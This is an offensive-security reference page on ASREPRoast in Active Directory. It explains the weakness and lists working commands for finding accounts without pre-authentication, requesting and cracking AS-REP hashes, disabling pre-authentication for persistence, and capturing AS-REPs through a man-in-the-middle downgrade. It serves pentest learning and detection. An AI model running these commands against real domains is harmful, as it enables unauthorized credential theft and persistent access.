ASREPRoast

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ASREPRoast

ASREPRoast is a security attack that exploits users who lack the Kerberos pre-authentication required attribute. Essentially, this vulnerability allows attackers to request authentication for a user from the Domain Controller (DC) without needing the user's password. The DC then responds with a message encrypted with the user's password-derived key, which attackers can attempt to crack offline to discover the user's password.

The main requirements for this attack are:

• Lack of Kerberos pre-authentication: Target users must not have this security feature enabled.

• Connection to the Domain Controller (DC): Attackers need access to the DC to send requests and receive encrypted messages.

• Optional domain account: Having a domain account allows attackers to more efficiently identify vulnerable users through LDAP queries. Without such an account, attackers must guess usernames.

Enumerating vulnerable users (need domain credentials)

Using Windows

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Using Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName  

Request AS_REP message

Using Linux

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Using Windows

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 

Persistence

Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):

Using Windows

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Using Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

ASREProast without credentials

An attacker can use a man-in-the-middle position to capture AS-REP packets as they traverse the network without relying on Kerberos pre-authentication being disabled. It therefore works for all users on the VLAN. ASRepCatcher allows us to do so. Moreover, the tool forces client workstations to use RC4 by altering the Kerberos negotiation.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

References

• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

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